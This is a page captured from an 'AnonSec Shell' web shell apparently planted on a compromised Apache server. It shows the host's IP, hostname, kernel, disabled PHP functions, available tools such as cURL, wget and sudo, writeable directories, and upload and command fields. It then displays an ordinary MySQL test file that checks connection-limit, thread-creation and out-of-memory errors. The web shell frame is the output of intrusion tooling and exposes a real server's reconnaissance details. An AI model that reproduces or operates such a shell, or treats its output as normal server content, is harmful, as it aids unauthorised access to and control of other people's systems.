AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/per_thread_connection_handler.test
# Include file to decrease test code duplication

--source include/not_embedded.inc
--source include/have_debug.inc

call mtr.add_suppression("Can't create thread to");

# save the initial number of concurrent sessions.
--source include/count_sessions.inc

# Save global variables that are going to be used in this connection.
SET @old_debug= @@GLOBAL.debug;
SET @orig_max_connections= @@global.max_connections;
--enable_connect_log

#  Make 3 connects and issue SELECT 1 and then test error
#  ER_CANT_CREATE_THREAD and the do disconnects of the three connections.
connect (con1, localhost, root,,mysql);
SELECT 1;
connect (con2, localhost, root,,mysql);
SELECT 1;
connect (con3, localhost, root,,mysql);
SELECT 1;

# Test ER_CANT_CREATE_THREAD
SET GLOBAL debug= '+d,fail_thread_create';
--replace_result $MASTER_MYPORT MYSQL_PORT $MASTER_MYSOCK MYSQL_SOCK
--error ER_CANT_CREATE_THREAD
connect (con4, localhost, root,,mysql);

connection default;
SET GLOBAL debug="-d,fail_thread_create";
disconnect con1;
disconnect con2;
disconnect con3;
--source include/wait_until_count_sessions.inc

# Test various error conditions.

# Test ER_CON_COUNT_ERROR.
SET GLOBAL max_connections= 3;
connect (con1, localhost, root,,mysql);
connect (con2, localhost, root,,mysql);
connect (con3, localhost, root,,mysql);
--replace_result $MASTER_MYPORT MYSQL_PORT $MASTER_MYSOCK MYSQL_SOCK
--error ER_CON_COUNT_ERROR
connect (con4, localhost, root,,mysql);

connection default;
disconnect con1;
disconnect con2;
disconnect con3;
--source include/wait_until_count_sessions.inc

# Test resource allocation failure like out of memory.
SET GLOBAL debug= '+d,simulate_resource_failure';
call mtr.add_suppression("Out of memory");
--replace_result $MASTER_MYPORT MYSQL_PORT $MASTER_MYSOCK MYSQL_SOCK
--replace_regex /system error: [0-9]+/system error: NUM/
--error 2013 
connect (con1, localhost, root,,mysql);

connection default;
SET GLOBAL debug= '-d,simulate_resource_failure';
SET GLOBAL debug= @old_debug;
SET GLOBAL max_connections= @orig_max_connections;

Anon7 - 2022
AnonSec Team